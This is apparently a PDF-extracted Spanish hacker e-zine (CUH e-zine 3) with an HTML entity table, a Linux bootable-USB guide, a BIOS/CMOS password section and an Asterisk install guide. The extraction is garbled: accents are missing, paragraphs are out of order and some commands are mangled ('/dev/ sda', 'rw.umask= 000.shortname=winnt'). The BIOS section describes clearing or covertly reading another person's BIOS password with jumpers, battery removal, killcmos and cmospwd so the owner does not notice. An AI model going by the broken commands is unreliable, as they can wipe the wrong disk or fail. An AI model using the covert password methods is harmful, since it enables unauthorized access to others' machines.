Hola amigos de el-hacker.com este manual es una pequea ayuda no slo para los que apenas se inician en el mundo de la programacin en pginas web, sino tambin para ya los ms experimentados. Es una recoleccin de los caracteres ms utilizados en HTML, con sus respectivos cdigos, as que espero que les sea de su agrado. Un saludo! Atte: rOnNyLdInHo Caracter ! " # $ % & ' ( ) * + , . / 0-9 : ; < < = > > ? @ A-Z [ \ ] ^ _ ` a-z Cdigo &#33; &#34; &#35; &#36; &#37; &#8240; &#38; &#39; &#40; &#41; &#42; &#43; &#44; &#45; &#46; &#47; &#48; - &#57; &#58; &#59; &#60; &#60; &#61; &#62; &#62; &#63; &#64; &#65; - &#90; &#91; &#92; &#93; &#94; &#95; &#96; &#97; - &#122; Descripcin Cerrar exclamacin Dobles comillas Signo de nmero Dlar Tanto por ciento Tanto por mil Ampersand Apstrofe Cerrar parntesis Abrir parntesis Asterisco Signo ms Coma Guin Punto Barra de divisin Dgitos del al 0-9 Dos puntos Punto y coma Menor Menor Igual Mayor Mayor Cerrar interrogacin Arroba Letras A-Z Cerrar corchete (izquierdo) Barra inversa Abrir corchete Circunflejo Subrayado Acento agudo Letras a-z Alias ------amp -------------lt --gt ----------T abla de cdigos de caracteres HTML Actualmente existen muchos ms, con cdigos de 4 dgitos, como el euro. Estos son algunos de los ms utilizados.

Programacin web
Tabla de cdigos de caracteres HTML
{ | } ~ &#123; &#124; &#125; &#126; &#160; &#161; &#162; &#163; &#164; &#165; &#166; &#167; &#168; &#169; &#170; &#171; &#172; &#173; &#174; &#175; &#176; &#177; &#178; &#179; &#180; &#181; &#182; &#183; &#184; &#185; &#186; &#187; &#188; &#189; &#190; &#8539; &#8540; &#8541; &#8542; &#191; &#192; &#193; &#194; &#195; &#196; &#197; &#198; &#199; &#200; &#201; &#202; &#203; &#204;

CUH e-zine 3 Edicion


Abrir llave Barra vertical Cerrar llave Tilde Espacio sin separacin Abrir exclamacin Centavo Libra Esterlina Signo de divisa general Yen Barra vertical partida (pipe) Seccin Diresis Copyright Doa Abrir comillas francesas No (smbolo lgico) Guin dbil Registrado Macrn Grados Ms-menos Dos superndice Tres superndice Acento agudo Micro Fin de prrafo Punto medio Cedilla Uno superndice Gnero masculino Cerrar comillas francesas Un cuarto Un medio Tres cuartos Un octavo Tres octavos Cinco octavos Siete octavos Abrir interrogacin A mayscula, acento grave A mayscula, acento agudo A mayscula, acento circunflejo A mayscula, tilde A mayscula, diresis A mayscula, anillo AE mayscula C cedilla mayscula E mayscula, acento grave E mayscula, acento agudo E mayscula, acento circunflejo E mayscula, diresis I mayscula, acento grave ----nbsp iexcl cent pound curren yen brvbar sect uml copy ordf laquo not shy reg macr deg plusmn sup2 sup3 acute micro para middot cedil sup1 ordm raquo frac14 frac12 frac34 ----iquest Agrave Aacute Acirc Atilde Auml Aring AElig Ccedil Egrave Eacute Ecirc Euml Igrave

Programacin web
Tabla de cdigos de caracteres HTML
&#205; &#206; &#207; &#208; &#209; &#210; &#211; &#212; &#213; &#214; &#215; &#216; &#217; &#218; &#219; &#220; &#221; &#222; &#223; &#224; &#225; &#226; &#227; &#228; &#229; &#230; &#231; &#232; &#233; &#234; &#235; &#236; &#237; &#238; &#239; &#240; &#241; &#242; &#243; &#244; &#245; &#246; &#247; &#248; &#249; &#250; &#251; &#252; &#253; &#254; &#255; &#8364 &#8800;

CUH e-zine 3 Edicion


I mayscula, acento agudo I mayscula, acento circunflejo I mayscula, diresis Eth mayscula Ee mayscula O mayscula, acento grave O mayscula, acento agudo O mayscula, acento circunflejo O mayscula, tilde O mayscula, diresis Signo de multiplicacin O barrada mayscula U mayscula, acento grave U mayscula, acento agudo U mayscula, acento circunflejo U mayscula, diresis Y mayscula, acento agudo THORN mayscula Beta minscula a minscula, acento grave a minscula, acento agudo a minscula, acento circunflejo a minscula, tilde a minscula, diresis a minscula, anillo ae mnuscula c cedilla minscula e minscula, acento grave e minscula, acento agudo e minscula, acento circunflejo e minscula, diresis i minscula, acento grave i minscula, acento agudo i minscula, acento circunflejo i minscula, diresis eth minscula ee minscula o minscula, acento grave o minscula, acento agudo o minscula, acento circunflejo o minscula, tilde o minscula, diresis Signo de divisin o barrada minscula u minscula, acento grave u minscula, acento agudo u minscula, acento circunflejo u minscula, diresis y minscula, acento agudo thorn minscula y minscula, diresis Euro Distinto de Iacute Icirc Iuml ETH Ntilde Ograve Oacute Ocirc Otilde Ouml times Oslash Ugrave Uacute Ucirc Uuml Yacute THORN szlig agrave aacute acirc atilde auml aring aelig ccedil egrave eacute ecirc euml igrave iacute icirc iuml eth ntilde ograve oacute ocirc otilde ouml divide oslash ugrave uacute ucirc uuml yacute thorn yuml euro ne

Programacin web
Tabla de cdigos de caracteres HTML
&#8804; &#8805; &#8730; &#8486; &#8593; &#8595; &#8592; &#8594; &#8596; &#8470; &#9650; &#9658; &#9660; &#9668; &#9632; &#9633; &#9642; &#9643; &#9679; &#9675; &#9674; Menor o igual que Mayor o igual que Radical Omega Flecha arriba Flecha abajo Flecha izquierda Flecha derecha Flecha izq-der N Flecha ar Flecha de Flecha ab Flecha iz Cuadrado lleno Cuadrdo vacio Mini cuadrado lleno Mini cuadrado vacio Punto lleno Punto vacio Rombo vacio

CUH e-zine 3 Edicion


le ge radic -uarr darr larr rarr harr -----------loz

Crditos: Editado por rOnNyLdInHo Para cosultas, comentarios o sugerencias, sern respetuosamente bien recibidas a ronnyldinho@hotmail.com Comunidad Underground Hispana, foro el-hacker.com

Linux
Pendrive Usb De Arranque

CUH e-zine 3 Edicion

Pendrive USB de Arranque en Linux By rOnNyLdInHo


PENDRIVE USB DE ARRANQUE EN LINUX Hola amigos soy rOnNyLdInHo, y antes de dar inicio a esta pequea seccin, quera agradecer a todo el equipo que hace posible la edicin de esta ya conocida CUH E-ZINE, para m es un honor y a la vez una responsabilidad, formar parte de este selecto grupo de la tercera edicin de tan esperada revista. Deseando que tanto usted como sus allegados(as), les sirva mucho no slo este tutorial, sino la revista en s... que por ese motivo fue diseada. novatos en Linux, nos gustara tener esa inquietud, de cmo responder si lo pongo a trabajar fuerte. Entonces haremos una unidad de arranque USB. Crear una unidad de arranque USB es fcil, pero antes de empezar a digitar como loco, quiero dar una pequea introduccin al tema. Primero debes saber que NO todas las placas base son capaces de arrancar desde USB. Es ms, muchas no arrancan ni con combinaciones de pendrives USB y placas base juntas. Algo peor? S hay algo peor, algunas llaves empiezan a cargar el sistema operativo pero quedan frenadas en los procedimientos del cheksum de la BIOS interna tras transferir unos pocos Kbs de informacin. Hasta se ha visto en algunas ocasiones, que hasta depende de qu puerto USB se est usando para ponerla a funcionar. Pero bueno, no le echemos mas lea al fuego, la mayora de las combinaciones de placa(capaz de arrancar desde USB) y llave, funciona :) EMPEZEMOS...... Bueno. lo que veremos en este manual, es algo relativamente facil, pero..... Porque relativamente? 1- Por su ttulo: Ya que muchos pensarn que es algo complicado, y por lo tanto lo ignoro. 2- Por el SO a utilizar: Muchos esperaban hacer un USB de arranque, en Windows?. ja dejeme reirme otra vez, ja. ;) 3- Si eres de esos que piensas que con pintar en The Gimp o hacer textos en OpenOffice, ya dominas Linux, solo mira esto y comienza a aprender, que para eso estamos todos aqu en esta Tierra Ahora que es lo que necesitamos??? 1- Ganas de aprender. 2- Quitarse esa mentalidad de que Windows lo puede todo...slo dale una oportunidad a Linux y vers como responde l de bien. ;> 3- Utilizar mucho eso que tienes arriba y que muchos lo llaman cerebro, NOTA: Yo hoy me di cuenta que funciona no slo para ponerse el sombrero. 4- Fuera de chistes y dems, saber que esto es slo un manual, una ayuda, la parte ms importante la haces tu, y como lo dije antes, tu cabecita. Hay que tener en cuenta que hay algunos obstculos que debemos superar en el proceso de arranque. En el momento en que el bootloader debera leer el kernel de Linux y el initrd desde el pendrive, no hay SO que se est ejectuando y la BIOS del ordenador debe hacer todo el trabajo de detectar las particiones y cargar la informacin de la unidad sin tener ningn otro driver disponible ms que los del firmware de la BIOS en la placa. Por otro lado, tan pronto se carga el kernel de Linux, la llave USB desaparece. O sea, ya no es visible, y tiene que redetectarse por el kernel usando mdulos de disco RAM inicial que contiene los drivers USB y el sistema de archivos usado por las particiones que contienen la informacin principal de tu SO. Existen an muchas cosas que pueden ir mal en un arranque desde USB, incluso si seguimos los pasos correctamente. Es probable que no sea culpa nuestra.... Para los siguientes ejemplos vamos a usar /dev/sda como nombre del dispositivo del pendrive USB. Esto puede ser incorrecto en muchos casos, especialmente si nuestro equipo alberga discos SATA. Es aconsejable volver a verificar el nombre del dispositivo asignado al disposiivo USB cada vez que lo conectemos. Para la mayora de los comandos no vamos a

Qu es exactamente lo que vamos a hacer? Bueno, ya que muchos hemos pasado por ser

Linux
Pendrive Usb De Arranque
necesitar permisos de root si los archivos del dispositivo que estn en /dev se pueden escribir por un usuario de cuenta normal y son contables mediante las correspondientes entradas de /etc/fstab. En caso contrario, usaremos sudo o un shell de root, con lo que debemos ser especialmente cuidadosos. Nota: Si no sabes como conseguir permisos de root con un sudo, es recomendable que no realices este tutorial. Paso 1: Creamos el sistema de archivos. Algunos pendrives USB slo arrancan si se particionan de cierta manera, y algunas BIOS aparentemente buscan un cierto tipo de cabecera de particin y sistema de archivos, o renunciarn a arrancar. He visto casos en los que una placa slo quera arrancar desde un pendrive USB sin particionar, y otros en los que se requeran tanto el flag de un sector de arranque DOS como el de la particin de arranque. En primer lugar podemos probar con una tabla de particiones por defecto y un sistemas de archivos ms o menos sin modificar. La mayora de los pendrives USB recientes tienen una especie de tabla de particiones vlida en la que la primaera particin primaria est formateada en FAT16 o FAT32. En este caso debemos asegurarnos de que la particn es arrancable. Para una particin de un pendrive USB que aparezca como /dev/sda1, el comando para configurar el flag como arrancable sera:

CUH e-zine 3 Edicion


seguridad de toda la info que consideres importante. Muchos pendrives USB no muestran la nueva tabla de particiones inmediatamente, por lo que es buena idea sacar y reconectar el pendrive USB o disco duro cada vez que sigamos los pasos anteriores. Ahora volvemos a verificar la nueva particin con:

cat /proc/partitions
Tras haberlo conectado de nuevo y despus de haber esperado muchos segundos (muchos, muchos, puedes irte a tomar un caf :>, je je es porque algunas unidades son muy lentas en la deteccin de la tabla de particiones). Si la unidad ya aparece como un nombre de nuevo dispositivo (es decir, sdb en lugar de sda), probablemente hemos olvidado desmontar el sistema de archivos antes de desconectarla. Podemos hacerlo ahora, no obstante, es probable que no exista ya, tras la reparticin de la unidad. Para los pendrives USB sin particin (si el mtodo de arranque particionado falla), nos saltamos el paso de particionado y tecleamos el comando mkdosfs sobre el pendrive USB entero. Esa, amigos mos, fue la parte ms difcil, ahora lo que viene es sumamente sencillo, similar a cambiar de Windows XP a Ubuntu Feisty :) Paso2: Instalar el syslinux como cargador del kernel Lo que isolinux hace para un CD/DVD, syslinux lo hace para las particiones o discos formateados en DOS. Para unidades particionadas:

sfdisk -A1 /dev/ sda


Para reparticionar la unidad USB podemos usar las mismas herramientas que usamos para un disco duro normal (es decir: qtparted o, mi favorito y el favorito de muchos: fdisk o sfdisk). El tipo de particin para un sistema de archivo DOS/FAT (el menos problemtico para el arranque desde una unidad USB) sera 6 para FAT16 y b para FAT32. Usamos FAT16 para particiones menores de 2GB y FAT32 si son mayores. Vase arriba el comando de sfdisk para fijar el flag de la particin como arrancable (o 'activo'), lo cual es independiente del sistema de archivo de las particiones o del contenido. El comando de mkdosfs para dar formato a una particin FAT16 como /dev/sda1 es:

syslinux /dev/sda1
Para unidades no particionadas:

syslinux /dev/sda
aqu debemos de asegurarnos que estamos utilizando el nombre correcto de dispositivo para nuestro sistema. Si usamos un pendrive USB particionado, podemos configurar (o si prefieres resetear) el sector de arranque adecuadamente. Aunque, no es necesario hacer esto. Puede que primero queramos ver si el arranque funciona sin cambiar el MBR. Instalamos un sector de arranque syslinux para unidades particionadas:

mkdosfs -F16 /dev/sda1


Mientras que para FAT32, sera:

mkdosfs -F32 /dev/sda1


Aunque yo creo que no, pero an as lo voy a decir(escribir en este caso), es obvio que a este punto perderemos toda la informacin que est en la particin, por lo tanto debemos hacer una copia de

ms-sys -s devicename
Usamos /dev/sda si /dev/sda1 es la particin

Linux
Pendrive Usb De Arranque
FAT16/FAT32 del pendrive USB. Debemos vigilar que el nombre del dispositivo sea correcto. Paso3: Copiamos los archivos de arranque y la informacin En este paso, tenemos que montar el pendrive USB (o particin, si usamos el modo particionado) en modo sensible a maysculas:

CUH e-zine 3 Edicion


rsync -Hav progress /cdrom/KNOPPIX U /media/usbkey/KNOPPIX
Una vez hecho esto, tenemos que desmontar el dispositivo para poder sincronizar el bfer, de datos pendientes a disco y cerrar la sesin. No se sorprenda si este comando tarda bastante tiempo en ejecutarse. Puede haber muchos datos sin escribir en memoria debido a la fabulosa cach del bfer dinmico de bloques de Linux, que hace parecer que las escrituras en disco son ms rpidas de lo que realmente son.

mkdir -p /media/usbkey mount -t vfat -o rw.umask= 000.shortname=winnt /dev/sda1 /media/usbkey


A continuacin deberamos cambiar /dev/sda1 a la particin en cuestin, y entonces saltarnos el nmero de la particin en caso de usar todo el pendrive. Copiamos ahora los archivos de arranque desde el CD o DVD de tu Distro*

umount /media/usbkey
Paso4: Configurar la BIOS de la PC Una placa capaz de arrancar desde USB tiene al menos dos modos de arranque por USB: 1- Arranque desde Disco Duro USB. (Unidad USB particionada) 2- Arranque desde unidad ZIP USB. (Unidad USB sin particionar) Para nuestro disco duro la opcin DISCO DURO sera la correcta pero todo depende de lo que hagamos en el paso 1. Crditos. Manual editado por rOnNyLdInHo. Revista Linux Magazine por la oportunidad de editarlo. Klaus Knopper fundador de Knoppix por la ayuda. Este manual ha sido editado nicamente para la revsta CUH e-zine del foro: http://foro.elhacker.com

*Como lo dijo mi amigo LTSmash en la edicin pasada, una distro es una distribucin de cualquier SO basado en GNU/Linux. En mi caso, para hacer este manual yo instal Knoppix, pero se puede realizar en cualquier distribucin de Linux sin ningn problema. Nada ms en los cdigos que presentar a partir de aqu, cambian el nombre KNOPPIX por sus distro, por ejemplo: Ubuntu, SuSe, Lindows, etc.
Vamos a suponer que el CD se monta en /cdrom en una sesin Live de Knoppix, aunque en realidad este paso se puede realizar en cualquier distro de Linux.

cp /cdrom/boot/isolinux/* /media/usbkey
Mientras isolinux busca los archivos de arranque en /boot/isolinux, syslinux los busca en el directorio / del sistema de archivos FAT. Pero... syslinux da un nombre diferente a su archivo de configuracin!

mv /media/usbkey/isolinux.cfg /media/usbkey/syslinux.cfg
Podemos borrar con seguridad los archivos especficos de /iso/eltorito, ya que no los vamos a necesitar.

rm -f U /media/usbkey/isolinux.bin /media/usbkey/boot.cat
En este punto el pendrive es arrancable y contiene tanto el kernel como el initrd, y podemos empezar a copiar los archivos de cloop, que residen en el directorio de tu distro , en mi caso, Knoppix.

Dudas, Comentarios, Sugerencias y Quejas: ronnyldinho@hotmail.com klaus@linux-magazine.com http://foro.el-hacker.com

Diseo Grafico
TUTORIAL BOTONES

CUH e-zine 3 Edicion

Tutorial botones By Aleksteir

Diseo Grafico
TUTORIAL BOTONES

CUH e-zine 3 Edicion

Diseo Grafico
TUTORIAL BOTONES

CUH e-zine 3 Edicion

Diseo Grafico
TUTORIAL BOTONES

CUH e-zine 3 Edicion

Diseo Grafico
TUTORIAL BOTONES

CUH e-zine 3 Edicion

Diseo Grafico
TUTORIAL BOTONES

CUH e-zine 3 Edicion

Diseo Grafico
TUTO FIRMA

CUH e-zine 3 Edicion

Tuto firma By Orlando_rock

Hardware
Setup BIOS - CMOS

CUH e-zine 3 Edicion

Setup BIOS CMOS By Locutus


BIOS, CMOS, Setup y como entrar... Antes q nada vamos a ver la diferencia entre c/u d estas cosas xq no son lo mismo aunq la gente x lo gral lo suele confundir. La BIOS (Basic Input Output System) es 1 conjunto d rutinas elementales q manejan el hardware bsico d la pc. d lo primero q c encarga la BIOS cuando c enciende 1 pc es lanzar 1 programa llamado POST (PowerOn Self Test) q checkea el estado del hard, q todo este presente, lo inicializa y despus muestra los datos bsicos como mem, hds y alguna otra cosa segn el modelo. todo esto ocurre en unos pocos segundos y ni nos damos cuenta a - q haya algn error... en s caso c escuchan los clsicos beeps segn el problema, pero eso ya es otro tema... constantemente energa elctrica. para q no c corte el suministro si c desconecta la pc d la red elctrica c usa 1 pila d 3v:

Y finalmente el Setup es 1 programa q esta guardado dentro mismo del bios q sirve para ver o modificar el contenido del CMOS.

O sea q cuando vamos a cambiar alguna conf d hard c podra decir q entramos al Setup para modificar el contenido del CMOS d manera q el BIOS pueda detectar correctamente el hard. Muchos armadores d pcs ponen passes en sus maquinas para q el user c vea obligado a ir a ellos para hacer cualquier cambio importante en la conf o hasta para bootear desde 1 cd d manera q no podramos ni siquiera reinstalar nuestro SO... fsicamente la BIOS es 1 chip ROM (read only memory) del tipo EEPROM (Electrically Erasable and Programmable Read-Only Memory). la ROM comn c caracteriza x tener los datos ya grabados e inalterables aunq ocurra 1 corte d corriente. la EEPROM puede ser borrada x medio d soft q es lo q hacemos cuando corremos 1 actualizacin d firmware d la BIOS. El CMOS (Complementary Metal Oxide Semiconductor) es donde c guardan los datos d conf del hardware de la pc, discos, fecha y hora, orden d booteo y todas las configuraciones incluido justamente el famoso password q puede ser d setup o d sistema. Para q esta info no c pierda el CMOS debe recibir O tambin puede darse el caso q queremos tener acceso al setup d alguna pc x razones no tan nobles... la mayora d las veces para cambiar la secuencia d booteo y poder iniciar desde algn cd crackeador d passes o algo parecido. Vamos entonces a ver como hacemos para eliminar la password del CMOS. tenemos varias formas... como dijimos antes el CMOS debe recibir energa constantemente para mantener los datos d manera q es muy fcil... le cortamos la energa, c borran los datos y con el la pass. Tenemos varias maneras d hacer esto... la "correcta" seria localizar el jumper q tienen los mothers para este propsito. c encuentra siempre ubicado cerca d

Hardware
Setup BIOS - CMOS
la pila x lo q es fcil d encontrar, son 3 pines, la posicin normal x lo gral es entre 1 y 2... as debera estar colocado.

CUH e-zine 3 Edicion

finalmente tenemos utilidades para ver la pass sin tener q borrarla, lo cual es muy til si queremos q no c den cuenta d q estuvimos metiendo mano... el mejor d los q conozco d este tipo es el cmospwd: Para limpiar el contenido habra 1ero q apagar la pc, desconectarla d la corriente, cambiar el jumper a la posicin 2/3 y esperar 30 segs... x las dudas y para acelerar el proceso es bueno presionar el botn d encendido con la pc desconectada para q descargue la corriente q queda almacenada en los capacitores. Esta corriente es la responsable d q cuando sacamos la pila no c pierda la configuracin hasta despus d 1 buen rato. tambin c puede utilizar este mtodo si no c encuentra el jumper (algunos mothers no lo traan a unq ahora creo q ya viene en todos)... sacar la pila y esperar 1 buen rato (hasta 20/30 mins)... o presionar el encendido como decamos antes o mejor aun hacer 1 pequeo corto entre los contactos del porta-batera, esto descarga instantneamente los capacitores y borra todo. Estos mtodos sirven siempre y cuando c tenga acceso a abrir la pc y meter mano adentro pero hay casos en los q x 1 razn u otra esto no es posible, para esos casos tenemos herramientas d soft q pueden tanto borrar la pass como tambin algo muchsimo mejor... decirnos cual es... je... aunq no c entusiasmen... esto ultimo no funciona con todos los mothers pero algo es algo... vamos a empezar x lo mismo q antes... borrarla. http://www.cgsecurity.org/wiki/CmosPwd trabaja con estos tipos d chips d bios: ACER/IBM BIOS AMI BIOS AMI WinBIOS 2.5 Award 4.5x/4.6x/6.0 Compaq (1992) Compaq (New version) IBM (PS/2, Activa, Thinkpad) Packard Bell * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943, 4.06 rev 1.13.1107 * Phoenix 4 release 6 (User) * Gateway Solo - Phoenix 4.0 release 6 * Toshiba * Zenith AMI D cualquiera d estos nos da en texto limpio la pass sin + q correrlo. en equipos muy nuevos es posible q no funcione pero x lo gral da buenos resultados... otra opcin q tiene para los + experimentados es hacer 1 dump del contenido del cmos para despus dejarlo como estaba. o sea q podemos copiar el contenido, despus borrar el CMOS para poder acceder y 1 vez q tenemos acceso volver a grabarlo como estaba antes... esto c hace con el modificador "/d". By |_ocutus * * * * * * * *

tenemos varias utilidades, en el hirens boot cd q podemos bajar d esta misma seccin hay unas cuantas. el + conocido es el killcmos q lo q hace es agregar 1 bit "extra" en el CMOS, lo q hace q c corrompa... al corromperse vuelve a la conf d fabrica (c borra) y al iniciar muestra el clsico mensaje d CMOS cheksum bad y pide entrar al setup o cargar valores predeterminados y continuar.

Networking & wireless


Instalacion de Asterisk II

CUH e-zine 3 Edicion

Instalacion de Asterisk II By JUCA


INSTALACIN DE ASTERISK Existen 2 versiones estables disponibles para la descarga Asterisk 1.1.18 y Asterisk 1.4.4 Para instalar correctamente asterisk se necesita descargar de paquetes adicionales. Para la versin 1.2.18 se necesitan estos paquetes: asterisk-1.2.18.tar.gz (obligatorio instalar) asterisk-addons-1.2.6.tar.gz (adicional) asterisk-sounds-1.2.1.tar.gz (adicional) libpri-1.2.4.tar.gz (obligatorio instalar) zaptel-1.2.18.tar.gz (obligatorio instalar) rpm rpm rpm rpm rpm rpm rpm rpm rpm rpm rpm -q -q -q -q -q -q -q -q -q -q -q bison bison-devel ncurses ncurses-devel zlib zlib-devel openssl openssl-devel gnutls-devel gcc gcc-c++ Para una correcta instalacin deben estar instalados algunos paquetes para ver si estos se encuentran instalados correctamente se tiene que poner lo siguiente: utilizando para esto podemos utilizar cualquiera de estos 2 comandos: #uname a #rpm q kernel-devel Lo podemos ver en esta imagen:

Para la versin 1.4.4 se necesitan estos paquetes: asterisk-1.4.4.tar.gz (obligatorio instalar) asterisk-addons-1.4.1.tar.gz (adicional)op libpri-1.4.0.tar.gz (obligatorio instalar) zaptel-1.4.3.tar.gz (obligatorio instalar)

Para conseguir este software se debe ingresar a: http://www.asterisk.org/downloads Este es el sitio oficial de descarga. Empresa responsable del desarrollo de Asterisk es Digium http://www.digium.com/en/index.php La siguiente instalacin se la realizara en la distribucin Centos 4.3 con asterisk 1.4.4 Requisitos Para configurar un sistema Asterisk se requiere de un PC con GNU/Linux donde se instalar el software (Ahora existen versiones de asterisk que se pueden instalar incluso en Windows). Para esto se puede utilizar cualquier PC tipo Pentium (PII, PIII, Athlon, Xeon, etc.), y cualquier tarjeta de interfaz telefnica de Digium, estos determinarn la capacidad final de la mquina. Es necesario revisar que versin de kernel estamos

Si es que alguno de estos paquetes no hubiera seria necesario descargrselos desde internet para esto podemos utilizar la instruccin yum que nos sirve para hacer una actualizacin automtica de los paquetes. yum yum yum yum yum yum yum yum yum yum install install install install install install install install install install bison bison-devel ncurses ncurses-devel zlib zlib-devel openssl openssl-devel gnutls-devel gcc

Networking & wireless


Instalacion de Asterisk II
yum install gcc-c++ Si esta deshabilitada el comando yum se debe buscar uno a uno cada paquete que falta instalar se lo puede hacer en esta web: http://rpm.pbone.net/ Luego de descargar el paquete existen 2 formas de instalarlo. Si se esta en la parte grafica se hace doble click sobre el archivo he inmediatamente se instala. Si se lo desea hacer desde la lnea de comando se debe utilizar las siguientes instrucciones. rpm -i paquete.rpm rpm -Uvh paquete.rpm Centos no instala el cdigo del kernel dentro del /usr/src/linux directorio esta escrito en Zaptel y Asterisks Makefile. Enva a /usr/src y crea un link llamado Linux al directorio de nuestro kernel por defecto estn ubicados en /usr/src/kernels/ El resultado es el siguiente:

CUH e-zine 3 Edicion


los archivos y luego ejecutamos lo siguiente: # for i in * ; do tar zxvf $i; done;

Luego de esto se aplasta enter y todos los archives comienzan a descomprimirse:

Si no se desea el hacerlo de esta forma ya que se prefiere hacer paso a paso el resultado es el mismo pero en cada explicacin diremos como se debe descomprimir Instalando Libpri cd /ruta/de/codigo/libpri make make install

Luego creamos una carpeta donde copiaremos todos los archivos necesarios para esto ponemos: #mkdir asterisk

En esta carpeta tendremos nuestros archivos:

Luego de esto procedemos a descomprimir e instalar Si se desea optimizar el descomprimir los archivos rpidamente se lo puede hacer en una sola lnea Primero ingresamos en la carpeta donde estn todos

Luego de que se acabe esta primera parte escribimos make install como se indico en las indicaciones anteriores

Networking & wireless


Instalacion de Asterisk II

CUH e-zine 3 Edicion


msica de espera). make mpg123 # Para Asterisk v1.4 se de configurar el archivo ./configure make make install make samples Primero se escribe ./configure al final de esta parte de la instalacin sale el siguiente mensaje:

Instalando Zaptel: cd /usr/src/asterisk/zaptel # Si tienes kernel a 2.4 solo se debe escribir make make # Si tienes kernel a 2.6 solo se debe escribir make linux26 make linux26 - Si tienes kernel a 2.6 En este caso a pesar de tener kernel2.6 tan solo fue necesario escribir make

Luego se digita make install

Luego va la segunda parte de la instalacin escribiendo el comando make

Instalando Asterisk: cd /usr/src/asterisk/asterisk # Antes se debe tener instalado el paquete de Asterisk mpg123 package (para archives mp3 en

Networking & wireless


Instalacion de Asterisk II
Luego debemos digitar make install como nos indica la propia instalacin de asterisk

CUH e-zine 3 Edicion

Y de la misma forma finalmente digitamos make samples Aqu es donde configuraremos todo el asterisk va comando. Instalacin Asterisk Gui Para la interfaz grafica de asterisk se tiene que hace algunas cosas adicionales en la instalacin. Se debe digitar esto en el prompt: Luego de todos estos pasos solo resta verificar la instalacin de asterisk . Encendiendo el demonio de asterisk digitando `safe_asterisk`y conectarse en modo consola digitando `asterisk -vvvvvr`. svn checkout http://svn.digium.com/svn/asteriskgui/trunk asterisk-gui Con esto se descarga los paquetes necesarios para instalar la parte grafica. Luego : Make Makeinstall El resultado es una pantalla similar a esta:

Finalmente reiniciamos la configuracin con el comando `reload` y se cambia a otro color el Shell de GNU/Linux

En nuevas entregas seguiremos hablando sobre una nueva forma de instalar asterisk con una distribucin dedicada exclusivamente a esto. Saludos JUCA www.hackeruna.com

Hacking Newbie
Utilidades MSN

CUH e-zine 3 Edicion

Modding Gallery 3

Modding Gallery

Hacking Newbie
Utilidades MSN

CUH e-zine 3 Edicion

Hacking Newbie
Utilidades MSN

CUH e-zine 3 Edicion

También podría gustarte